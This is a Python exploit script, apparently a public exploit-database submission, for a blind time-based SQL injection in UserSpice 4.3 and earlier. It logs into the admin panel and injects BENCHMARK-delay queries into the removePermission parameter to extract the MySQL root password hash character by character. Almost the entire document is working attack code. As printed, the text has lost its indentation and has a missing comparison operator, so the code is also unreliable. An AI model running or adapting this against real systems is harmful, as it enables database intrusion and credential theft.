#!/usr/env/python
"""
Application UserSpice PHP user management
Vulnerability UserSpice <= 4.3 Blind SQL Injection exploit
URL https://userspice.com
Date 1.2.2018
Author Dolev Farhi
 
About the App:
What makes userspice different from almost any other PHP User Management
Framework is that it has been designed from the
beginning to get out of your way so you can spend your time working on
your project
 
About the vulnerability:
Unsanitized input passed to removePermission parameter.
"""
 
import requests
import string
import sys
 
from bs4 import BeautifulSoup
 
userspice_host = '10.0.0.16'
userspice_user = 'admin'
userspice_pass = 'password'
userspice_login_url = 'http://%s//users/login.php' % userspice_host
userspice_vuln_url = 'http://%s/users/admin_page.php?id=75' %
userspice_host
guess_chars = string.ascii_lowercase + string.ascii_uppercase +
string.digits + string.punctuation
 
 
banner = """
-------------------------------------------------------
| userSpice <= 4.3 Blind SQL Injection Vulnerability" |
-------------------------------------------------------
"""
 
login_data = {
'dest':'',
'username':userspice_user,
'password':userspice_pass
}
 
payload = {
'process':'1',
'removePermission[]':'1',
'private':'Yes',
'changeTitle':''
}
 
s = requests.session()
 
def getCSRF(url):
req = s.get(url).text
soup = BeautifulSoup(req, "lxml")
csrf = soup.find('input', {"name" : "csrf"})
csrf_token = csrf['value']
return csrf_token
 
login_data_csrf = getCSRF(userspice_login_url)
login_data['csrf'] = login_data_csrf
req = s.post(userspice_login_url, data=login_data)
 
if 'login failed' in req.text.lower():
print('Login failed, check username/password')
sys.exit(1)
 
payload_data_csrf = getCSRF(userspice_vuln_url)
payload['csrf'] = payload_data_csrf
print(banner)
print('[+] Running...')
print('[+] Obtaining MySQL root hash... this may take some time.')
password = ""
for i in range(0, 61):
for c in guess_chars:
payload_data_csrf = getCSRF(userspice_vuln_url)
payload['csrf'] = payload_data_csrf
injection = "5); SELECT 1 UNION SELECT IF(BINARY
SUBSTRING(password,{0},1)='{1}',BENCHMARK(3000000,SHA1(1)),0) Password
FROM mysql.user WHERE User = 'root'#;".format(i, c)
payload['removePermission[]'] = injection
req = s.post(userspice_vuln_url, data=payload).elapsed.total_seconds()
if float(req) 0.6:
password += c
print('[+] %s' % password)
else:
pass
 
print('done')
sys.exit(0)